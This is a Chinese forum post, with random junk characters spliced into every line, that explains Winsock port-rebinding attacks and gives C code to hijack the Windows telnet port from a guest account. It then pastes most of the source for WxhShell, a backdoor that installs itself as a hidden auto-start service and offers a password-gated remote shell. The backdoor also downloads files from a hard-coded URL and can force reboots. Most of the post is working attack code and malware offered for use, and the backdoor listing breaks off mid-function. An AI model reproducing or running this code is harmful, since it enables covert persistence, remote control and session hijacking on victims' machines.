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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~U&AI1t+J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ope^~+c~\  
~dTrf>R8M  
  saddr.sin_family = AF_INET; e1Hg w[l`  
u <v7;dF|s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BuXqd[;K%  
M@v.c; Lt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ne1$ee. NE  
Si;H0uPO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MeZf*' J  
i5@ z< \  
  这意味着什么?意味着可以进行如下的攻击: u>a5GkG.  
<$Yd0hxjU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ry6@VQ"NLb  
{8bSB.?R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 59;KQ  
f\L0 xJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2.%ITB  
}y gD3:vN7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vy:Z/1q  
&E5g3lf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'c$+sp ?  
%YqEzlzF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4zFW-yy  
5 #E`=C%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8$Y9ORs4  
$X,D(  
  #include (V2fRv  
  #include f x+/C8GK  
  #include iSs:oH3l  
  #include    ri-b=|h2j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1\I}2;  
  int main() q9s=~d7  
  { Jij*x>K>y  
  WORD wVersionRequested; ;vjOUn[E  
  DWORD ret; V1B5w_^>h'  
  WSADATA wsaData; p9{mS7R9T  
  BOOL val; >(t6.=  
  SOCKADDR_IN saddr; 89(Q1R ?:  
  SOCKADDR_IN scaddr; ds[|   
  int err; d5:c^`  
  SOCKET s; 9V*qQS5<p  
  SOCKET sc; /hyN;.hpOO  
  int caddsize; *VxgARIL  
  HANDLE mt; i?^L/b`H  
  DWORD tid;   =U?dbSf1*  
  wVersionRequested = MAKEWORD( 2, 2 ); z*% q@]ym  
  err = WSAStartup( wVersionRequested, &wsaData ); smo~7;  
  if ( err != 0 ) { B \2 SH%\  
  printf("error!WSAStartup failed!\n"); onxLyx|A  
  return -1; oe-\ozJ0  
  } L) T (<  
  saddr.sin_family = AF_INET; 4 "'~NvO  
   9InVQCf2J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~oY^;/ j  
svH !1 b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?^\|-Gr  
  saddr.sin_port = htons(23); Z"fJ`--  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .U]-j\  
  { 49HZ2`Y  
  printf("error!socket failed!\n"); pIqeXY  
  return -1; -PR N:'T  
  } v mk2{f,g  
  val = TRUE; '?(% Zxw%&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E+;7>ja  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) </*6wpN  
  { >tW#/\x{  
  printf("error!setsockopt failed!\n"); }:)&u|d_  
  return -1; #?:lb1  
  } gc$l^`+M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k~nBiV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k~w*W X'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]~3V}z,T*  
9p(. A$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %._.~V  
  { H"WprHe  
  ret=GetLastError(); $yNS pNmT0  
  printf("error!bind failed!\n"); tK\~A,=  
  return -1; Ta\tYZj$  
  } '/s)%bc  
  listen(s,2); A2Gevj?F$  
  while(1) s!$7(Q86R  
  { XZd,&YiaG  
  caddsize = sizeof(scaddr); 3)ywX&4"L  
  //接受连接请求 ^k9I(f^c-_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wI/iuc  
  if(sc!=INVALID_SOCKET) xU`p|(SS-  
  { H9e<v4 c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {R6ZKB  
  if(mt==NULL) \bw2u!  
  { <7jW _R@  
  printf("Thread Creat Failed!\n"); 8bld3p"^  
  break; ~b8]H|<'Y  
  } h~zT ydnH  
  } Ig>(m49d  
  CloseHandle(mt); E r?&Y,o  
  } r_A$DaC]  
  closesocket(s); C;^X[x%h7$  
  WSACleanup(); ~Z' ?LV<t  
  return 0; d7bS wL  
  }   i=2N;sAl  
  DWORD WINAPI ClientThread(LPVOID lpParam) R4:b{)=O  
  { f ) L  
  SOCKET ss = (SOCKET)lpParam; >~0Z& d  
  SOCKET sc; qUb&   
  unsigned char buf[4096]; t"oeQ*d%  
  SOCKADDR_IN saddr; 92oFlEJ  
  long num; 8KzkB;=n  
  DWORD val; M9%$lCl   
  DWORD ret; 5:_}zu|!u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e+fN6v5pU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1bwOm hkS  
  saddr.sin_family = AF_INET; ^^ixa1H<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CRy|kkT  
  saddr.sin_port = htons(23); :^h$AWR^f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -zfR)(zG  
  { LZxNAua  
  printf("error!socket failed!\n"); 4BpZJ~(p  
  return -1; 7 HYwLG:\~  
  } s!$a \k  
  val = 100; :Zw2'IV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AH~E)S  
  { R.<g3"Lm>  
  ret = GetLastError(); {E|$8)58i  
  return -1; (TT}6j  
  } mQ"-,mMI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pOoEI+t  
  { DZtsy!xA  
  ret = GetLastError(); A|{(/G2*  
  return -1; (CWtLi"z  
  } \:LW(&[!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $6R-5oQ  
  { 5]:U9ts#  
  printf("error!socket connect failed!\n"); /od@!/  
  closesocket(sc); X%x*f3[  
  closesocket(ss); dioGAai'  
  return -1; (KZ{^X?a  
  } a/xn'"eli  
  while(1) $VOF Oc  
  { kb!%-k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5wU]!bxr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SNk=b6`9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ysnx3(+|  
  num = recv(ss,buf,4096,0); U- k`s[dv  
  if(num>0) vKAN@HSYr  
  send(sc,buf,num,0); 'i|YlMFIg  
  else if(num==0) >Y@H4LF;1x  
  break; M x" \5i  
  num = recv(sc,buf,4096,0); z},# ~L6$q  
  if(num>0) jq0O22 -R  
  send(ss,buf,num,0); W: z;|FF  
  else if(num==0) Q\sK"~@3  
  break; ]JQULE)  
  } $U-0)4yf  
  closesocket(ss); vo{--+{ky!  
  closesocket(sc); %JTpI`  
  return 0 ; 4 s9LB  
  } t\O16O7S  
!^G\9"4A  
lNO;O}8  
========================================================== C~exi[3  
rEz^  
下边附上一个代码,,WXhSHELL AbW6x  
+R75v)  
========================================================== #}5uno  
FW DNpr  
#include "stdafx.h" }"%N4(Kd  
* kh tJ]=  
#include <stdio.h> 6j|{`Zd)G  
#include <string.h> )%fH(ns(  
#include <windows.h> (S Yln>o  
#include <winsock2.h> goWuw}?  
#include <winsvc.h> 2y1Sne=<Kb  
#include <urlmon.h> HTTC TR  
pT6$DB#  
#pragma comment (lib, "Ws2_32.lib") +Vdpy (  
#pragma comment (lib, "urlmon.lib") NDokSw-  
9%obq/Lb  
#define MAX_USER   100 // 最大客户端连接数 YtLt*Ig%  
#define BUF_SOCK   200 // sock buffer 86a\+Kz%%L  
#define KEY_BUFF   255 // 输入 buffer W[r>.7>?h  
'$+ogBS  
#define REBOOT     0   // 重启 P[fq8lDA  
#define SHUTDOWN   1   // 关机 Ab;.5O$y  
t sRdvFFq  
#define DEF_PORT   5000 // 监听端口 A^SgI-y|  
<IW$m!{VG  
#define REG_LEN     16   // 注册表键长度 @IZnFHN  
#define SVC_LEN     80   // NT服务名长度 ~pky@O#b  
uCB=u[]y4  
// 从dll定义API ;722\y(Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;-Aa|aT!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +1!ia]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >+T)#.wo&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f* wx<  
fI|$K )K  
// wxhshell配置信息 p5*jzQ  
struct WSCFG { 4?01s-Y  
  int ws_port;         // 监听端口 8H`[*|{'  
  char ws_passstr[REG_LEN]; // 口令 ]hV*r@d  
  int ws_autoins;       // 安装标记, 1=yes 0=no &BSn?  
  char ws_regname[REG_LEN]; // 注册表键名 :b!s2n!u  
  char ws_svcname[REG_LEN]; // 服务名 X"*5+* z]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AbOf6%Env  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RPbZ(.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AQ^u   
int ws_downexe;       // 下载执行标记, 1=yes 0=no a$fnh3j[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #4;wjcGWw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qZZK#,Qb  
)QJUUn#  
}; (**oRwr%  
]eV8b*d6  
// default Wxhshell configuration =-Ck4e *T  
struct WSCFG wscfg={DEF_PORT, 62NsJ<#>  
    "xuhuanlingzhe", PQE =D0  
    1, DVeE1Q  
    "Wxhshell", A]3k4DLYS  
    "Wxhshell", \GU<43J2uo  
            "WxhShell Service", b\5F]r  
    "Wrsky Windows CmdShell Service", !bP@n  
    "Please Input Your Password: ", {K!)Ss  
  1, TkF[x%o  
  "http://www.wrsky.com/wxhshell.exe", bW:!5"_{H  
  "Wxhshell.exe" IAyp2  
    }; V]?R>qhgu  
l}P=/#</T  
// 消息定义模块 |1Z)E+q*:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9j Gu}V o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -F3-{E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EiaW1Cs  
char *msg_ws_ext="\n\rExit."; wdoR%b{M  
char *msg_ws_end="\n\rQuit."; dgP3@`YS  
char *msg_ws_boot="\n\rReboot..."; .X;K%J2  
char *msg_ws_poff="\n\rShutdown..."; "uf%iJ:%  
char *msg_ws_down="\n\rSave to "; *=xr-!MEk  
 _','9|  
char *msg_ws_err="\n\rErr!"; {\\T gs  
char *msg_ws_ok="\n\rOK!"; hCo|HB  
FC4wwzb  
char ExeFile[MAX_PATH]; f,Ghb~y  
int nUser = 0; !TcJ)0   
HANDLE handles[MAX_USER]; &,)&%Sg[  
int OsIsNt; [PbOfxxgA  
&6k3*dq  
SERVICE_STATUS       serviceStatus; K|s, ru  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VS|2|n1<6  
YHl;flv  
// 函数声明 .ccp  
int Install(void); VG~Vs@c(  
int Uninstall(void); :MDKC /mC  
int DownloadFile(char *sURL, SOCKET wsh); @KUWxFak  
int Boot(int flag); /<BI46B\  
void HideProc(void); *n"{J(Jt`  
int GetOsVer(void); d0 /#nz  
int Wxhshell(SOCKET wsl); ll?X@S  
void TalkWithClient(void *cs); (Awm9|.{+  
int CmdShell(SOCKET sock); |+"(L#wk  
int StartFromService(void); t3^&; &[  
int StartWxhshell(LPSTR lpCmdLine); U`s{Jm  
3=;<$+I6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R/a*LSe@&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (4-CF3D  
t ZB<on<.)  
// 数据结构和表定义 ( uidNq  
SERVICE_TABLE_ENTRY DispatchTable[] = )=-szJjXZ  
{ q" 5(H5  
{wscfg.ws_svcname, NTServiceMain}, #)VF3T@#'  
{NULL, NULL} a-J.B.A$Z/  
}; [1H^3g '  
ijU*|8n{>  
// 自我安装 \lNN Msd&  
int Install(void) M"To&?OI  
{ -H-~;EzU  
  char svExeFile[MAX_PATH]; r,2g^ K)6  
  HKEY key; 0Y5_PTWb+Y  
  strcpy(svExeFile,ExeFile); S0W||#Pr  
BfiD9ka-z  
// 如果是win9x系统,修改注册表设为自启动 ~7Ux@Sx;  
if(!OsIsNt) { Ssg&QI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YZJyk:H\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9-m=*|p  
  RegCloseKey(key); GsM<2@?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0C ,`h `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Wp|1)ljA  
  RegCloseKey(key); mRK>U$v  
  return 0; G  .4X'  
    } ] @fk] ]R  
  } |(^PS8wG  
} ={Qi0Pvt  
else { | VDV<g5h  
IO:G1;[/2L  
// 如果是NT以上系统,安装为系统服务 FML(4BY,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w@fi{H(R  
if (schSCManager!=0) .6 ?U@2  
{ Yu2Bkq+  
  SC_HANDLE schService = CreateService Ny)X+2Ae  
  ( C+&l< fM&  
  schSCManager, DLNb o2C  
  wscfg.ws_svcname, j b!i$/%w  
  wscfg.ws_svcdisp, IV)j1  
  SERVICE_ALL_ACCESS, 18:%~>.!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0+b1vhQ  
  SERVICE_AUTO_START, #C@FYO f*  
  SERVICE_ERROR_NORMAL, ,5<Cd,`*  
  svExeFile, .(2ik5A%9  
  NULL, 3"\lu?-E  
  NULL, Pj% |\kbNs  
  NULL, V Jll  
  NULL, 'H<\x  
  NULL Pg7Yp2)Oli  
  ); x ]ot 2  
  if (schService!=0) &b& ,  
  { E8&TO~"a]e  
  CloseServiceHandle(schService); Ozf@6\/t  
  CloseServiceHandle(schSCManager); 0_t!T'jr7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b>JDH1)  
  strcat(svExeFile,wscfg.ws_svcname); Jxm.cC5z.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NQ2E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D. XvG_  
  RegCloseKey(key); $L]lHji  
  return 0; GWip-wI  
    } KKf   
  } P7/X|M z  
  CloseServiceHandle(schSCManager); FaJ&GOM,  
} uM6+?A9@l  
} k"w"hg&e  
k|d+#u[Mj@  
return 1; $* Kvc$D  
} wLr_-vJ  
jW@Uo=I[  
// 自我卸载 }RqK84K  
int Uninstall(void) Mf``_=K  
{ uu687|Pm  
  HKEY key; H$4:lH&(  
h9W^[6  
if(!OsIsNt) { lnR{jtWP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |ZBI *  
  RegDeleteValue(key,wscfg.ws_regname); #Mw8^FST  
  RegCloseKey(key); #>+HlT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @F*%9LPv  
  RegDeleteValue(key,wscfg.ws_regname); 1&Zj  
  RegCloseKey(key); ~&bq0 (  
  return 0; czd~8WgOa  
  } Th%Sjgsn  
} PwLZkr@4^  
} -3Vx76Y  
else { d6 5L!4  
'!$Rw"K.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^y%T~dLkp'  
if (schSCManager!=0) ZJs$STJ*  
{ o " #\ >  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IO-Ow!  
  if (schService!=0) [ibu/ W$  
  { 0"bcdG<}  
  if(DeleteService(schService)!=0) { ea')$gR  
  CloseServiceHandle(schService); C3YT1tK  
  CloseServiceHandle(schSCManager); w`zTR0`  
  return 0; E^eVvP4uC@  
  } ixD)VcD-f  
  CloseServiceHandle(schService); CzEd8jeh7  
  } /t"3!Z?BOv  
  CloseServiceHandle(schSCManager); _aT5jR=  
} E~oOKQ5W  
} Ciz X<Cr}  
B&uz;L3  
return 1; k\GcHI-  
} RrQJ/ts7}  
)P|),S,;Z  
// 从指定url下载文件 omBoo5e  
int DownloadFile(char *sURL, SOCKET wsh) s!7y  
{ k+pr \d~  
  HRESULT hr; `+Q%oj#FF  
char seps[]= "/"; j8lb~0JD  
char *token; 9;-p'C  
char *file; %8~NqS|=  
char myURL[MAX_PATH];  a!AA]  
char myFILE[MAX_PATH]; SI-Ops~e  
jtc]>]6i  
strcpy(myURL,sURL); NHZz _a=  
  token=strtok(myURL,seps); s,&Z=zt0R  
  while(token!=NULL) |8tilOqI  
  { FQ5U$x. [P  
    file=token; wDe& 1(T^  
  token=strtok(NULL,seps); A2jUmK.&  
  } q5)O%l!  
fmDCPkj  
GetCurrentDirectory(MAX_PATH,myFILE); PxDh7{  
strcat(myFILE, "\\"); 81 sG  
strcat(myFILE, file); x+@rg];m  
  send(wsh,myFILE,strlen(myFILE),0); N5b!.B x-w  
send(wsh,"...",3,0); Ej8^Zg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iqQD{SRt{  
  if(hr==S_OK) o:Sa, !DK  
return 0; &FN.:_E  
else ckE-",G  
return 1; F@B]et7  
?+}_1x`  
} 'AS|ZRr/  
b2&0Hx  
// 系统电源模块 vnZC,J `  
int Boot(int flag) U|Ta4W`k\  
{ ZX./P0  
  HANDLE hToken; `&ckZiq  
  TOKEN_PRIVILEGES tkp; ]|P iF+  
_^%,x  
  if(OsIsNt) { (M.&^w;`,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N64dO[op  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3m!X/u  
    tkp.PrivilegeCount = 1; VQ9/Gxdeo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ) ahA[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fyatd  
if(flag==REBOOT) { IKilr'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^yN&ZI3P&  
  return 0; fHd#u%63K  
} 8>i n_h9  
else { [j/9neaye  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N~zdWnSZ@G  
  return 0; aE$[5 2  
} K/yxE|w<  
  } Uf;^%*P4  
  else { R|87%&6']  
if(flag==REBOOT) { K} X&AJ5A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _TQj~W<  
  return 0; |[ai JR[Q  
} :emiQ  
else {  Sw, +p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ig0VW)@  
  return 0; aNspMJ  
} ,uhb~N<  
} EaY?aAuS:  
ra gXn  
return 1; O`t&ldU  
} fdi\hg^x  
p}pjfG  
// win9x进程隐藏模块 eF-."1  
void HideProc(void) !9VY|&fHe  
{ .~~T\rmI  
" C Qa.%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =wV<hg)C  
  if ( hKernel != NULL ) m'=Crei  
  { e)? .r9pA;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =|y9UlsD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Ae6/D$h/  
    FreeLibrary(hKernel); h_,i&d@(  
  } j@3Q;F0ba  
r1{@Ucw2  
return; ">,|V-H  
} LG|fq/;  
+.b,AqJ/  
// 获取操作系统版本 .2Elr(&*h  
int GetOsVer(void) yEoF4bt  
{ 9x9T<cx  
  OSVERSIONINFO winfo; u(F_oZ~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w4{<n /"  
  GetVersionEx(&winfo); U,{eHe ?>T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %axh`xK#  
  return 1; U}rU~3N  
  else \aUC(K~o\;  
  return 0;  a a/(N7  
} WUXx;9>  
o&)8o5  
// 客户端句柄模块 ?(F6#"/E  
int Wxhshell(SOCKET wsl) <7Or{:Sc90  
{ ;) z:fToh  
  SOCKET wsh; bSi%2Onj  
  struct sockaddr_in client; VSI9U3t3w  
  DWORD myID; Q%f^)HZGR  
Kaqc74Mv  
  while(nUser<MAX_USER) Hc$O{]sq  
{ bP$dU,@p~  
  int nSize=sizeof(client); e>7>j@(K]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jB Z&Ad@e  
  if(wsh==INVALID_SOCKET) return 1; Q}K"24`=  
b;W3j   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &4x}ppX  
if(handles[nUser]==0) 4ber!rJM  
  closesocket(wsh); 'ud{m[|  
else x$.^"l-vX  
  nUser++; 5o'FS{6U  
  } U!?_W=?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '/n1IM$7  
;yLu R  
  return 0; l<LP&  
} { VfXsI  
"W7K"=X  
// 关闭 socket Y^;ovH~ ve  
void CloseIt(SOCKET wsh) RSyUaA  
{ y@:h4u"3  
closesocket(wsh); mCsMqDH  
nUser--; .*?wF  
ExitThread(0); I7vz+>Jr  
} ):68%,  
M2>Vj/  
// 客户端请求句柄 M l{Z  
void TalkWithClient(void *cs) Fg5kX  
{ 0$)>D==  
6azGhxh  
  SOCKET wsh=(SOCKET)cs; 2Aazy'/  
  char pwd[SVC_LEN]; 7cT~oV !G_  
  char cmd[KEY_BUFF]; p{ Yv3dNl  
char chr[1]; F^t DL:  
int i,j; Vvn2 Ep  
HJLG=mU  
  while (nUser < MAX_USER) { G )trG9 .a  
gx8ouOh  
if(wscfg.ws_passstr) { k"T}2 7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FxtQXu-g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mAj?>;R2$2  
  //ZeroMemory(pwd,KEY_BUFF); , j2Udn}  
      i=0; V6&!9b  
  while(i<SVC_LEN) { Yz/md1T$  
+`7i 'ff  
  // 设置超时 U9:zVy  
  fd_set FdRead; ^& tZ  
  struct timeval TimeOut; 9N%We|L,c  
  FD_ZERO(&FdRead); n.`($yR_  
  FD_SET(wsh,&FdRead); 6xe*E[#k\  
  TimeOut.tv_sec=8; p$NQyS5C"S  
  TimeOut.tv_usec=0; hOu3 bA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :0j?oY~e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,.83m%i  
LqoB 10Kc\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "3)C'WlEy/  
  pwd=chr[0]; hl7bzKO*w  
  if(chr[0]==0xd || chr[0]==0xa) { @uqd.Q  
  pwd=0; ?wiC Q6*$  
  break; |+FubYf?$  
  } ~q@|l3?$  
  i++; 3LJ+v5T~  
    } MSQEO4ge  
VgG0VM  
  // 如果是非法用户,关闭 socket /og=IF2:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nA-.mWD_C  
} @;zl  
cz#rb*b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +qtJaYf/0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (lBCO?`fx  
(>UZ<2GPL  
while(1) { Ja7R2-0ii#  
dh`K`b4I  
  ZeroMemory(cmd,KEY_BUFF); =w_Ype`  
xaq-.IQAM$  
      // 自动支持客户端 telnet标准   t9kzw*U9  
  j=0; ';w#w<yaI  
  while(j<KEY_BUFF) { b,l$1{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 25nt14Y 0u  
  cmd[j]=chr[0]; <y2U3; t  
  if(chr[0]==0xa || chr[0]==0xd) { (^8Y|:Tz  
  cmd[j]=0; o]J{{M'E  
  break; VuhGx:Xl  
  } \%JgH=@ :=  
  j++; M)J5;^["  
    } DbBcQ%  
~9a<0Mc?  
  // 下载文件 }W C[$Y_@  
  if(strstr(cmd,"http://")) {  &=@IzmA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $B 2J T9  
  if(DownloadFile(cmd,wsh)) o8V5w!+#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ="1Ind@w!  
  else GfxZ'VIn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fa jGZyd0:  
  } :KSV4>X[%a  
  else { rKe2/4>0X  
fy>{QC\  
    switch(cmd[0]) { aD<A.Lhy  
  v+W&9>  
  // 帮助 )al]*[lY  
  case '?': { -]N x,{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); er("wtM  
    break; .KB^3pOpx  
  } 2@n{yYwy  
  // 安装 [`#CXq'  
  case 'i': { O%WIf__Q  
    if(Install()) 1![!+X:w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G, }Yl  
    else }/0X'o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Avge eJi  
    break; j"t(0 m  
    } WrnrFz  
  // 卸载 ^H p; .f.  
  case 'r': { .wEd"A&j  
    if(Uninstall()) *<$*"p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SXSgld2uS  
    else I13y6= d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a=|K%ii+Y  
    break; j2t7'bO_  
    } e@L=LW>  
  // 显示 wxhshell 所在路径 @+&LYy72  
  case 'p': { x 77*c._3v  
    char svExeFile[MAX_PATH]; !{+,B5 Hc  
    strcpy(svExeFile,"\n\r"); t >L2  
      strcat(svExeFile,ExeFile); sNbxI|B  
        send(wsh,svExeFile,strlen(svExeFile),0); JinUV6cr  
    break; \0^Kram>  
    } $P >  
  // 重启 fF!Yp iI"  
  case 'b': { h/QXPdV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !4ocZmj\  
    if(Boot(REBOOT)) wm+};L&_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q\9JgD)  
    else { w1F cB$  
    closesocket(wsh); +r�  
    ExitThread(0); SpIv#?  
    } <v"R.<  
    break; z{%<<pZ  
    } @f_Lp%K  
  // 关机 W- $Z(Z XL  
  case 'd': { ")1:F>  
